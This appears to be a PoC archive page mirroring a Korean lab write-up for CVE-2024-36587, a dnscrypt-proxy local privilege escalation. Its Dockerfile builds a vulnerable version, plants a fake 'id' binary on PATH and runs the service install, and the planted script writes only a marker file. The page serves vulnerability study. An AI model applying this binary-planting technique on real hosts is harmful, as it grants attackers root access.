目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2024-36587 PoC — DNSCrypt-proxy 安全漏洞

来源
关联漏洞
标题: DNSCrypt-proxy 安全漏洞 (CVE-2024-36587)
Description:DNSCrypt-proxy是DNSCrypt项目的一个 DNS 代理。 DNSCrypt-proxy v2.0.0alpha9版本至v2.1.5版本存在安全漏洞,该漏洞源于权限管理不当。攻击者利用该漏洞通过覆盖二进制 dnscrypt-proxy 将权限提升到 root。
介绍
# CVE-2024-36587 - dnscrypt-proxy Local Privilege Escalation

## 개요

- **취약점 설명**: dnscrypt-proxy 서비스 설치 시 현재 디렉토리의 실행 파일을 신뢰하여 등록하는 문제로 인해, 악성 바이너리를 삽입해 권한 상승이 가능하다.
- **취약 버전**: dnscrypt-proxy v2.0.0-alpha9 ~ v2.1.5
- **PoC 방법**: 바이너리 플랜팅 (binary planting)

## 환경 구성

```bash
docker compose up --build
```

빌드 및 실행이 완료되면 컨테이너가 생성된다.

컨테이너 내부로 접속:

```bash
docker run -it --privileged dnscrypt-poc-poc bash
```

## 취약점 트리거

컨테이너 안에서:

```bash
/tmp/id
cat /tmp/poc_was_here
```

`Pwned_from_Docker`가 출력되면 PoC 성공.

## 구성 파일

### Dockerfile

```dockerfile
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y \
    git \
    golang-go \
    sudo

WORKDIR /workspace

RUN git clone https://github.com/DNSCrypt/dnscrypt-proxy.git && \
    cd dnscrypt-proxy && \
    git checkout tags/2.1.0 && \
    go build -o proxy ./dnscrypt-proxy

RUN bash -c 'echo -e "#!/bin/bash\necho Pwned_from_Docker > /tmp/poc_was_here" > /tmp/id' && \
    chmod +x /tmp/id && \
    ln -sf /tmp/id /usr/local/bin/id

CMD ["./dnscrypt-proxy/proxy", "-service", "install"]
```

### docker-compose.yaml

```yaml
version: "3.8"

services:
  poc:
    build: .
    container_name: dnscrypt-poc
    privileged: true
    tty: true
```

## 참고

- https://github.com/DNSCrypt/dnscrypt-proxy
- https://nvd.nist.gov/vuln/detail/CVE-2024-36587

## 실습 결과 스크린샷


![docker build success](./docker-build-success.png)

## 자세한 보고서

보다 자세한 분석 및 실습 결과는 다음 PDF 문서를 참고하면 된다:

[PoC_Report_CVE-2024-36587.pdf](./PoC_Report_CVE-2024-36587.pdf)

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →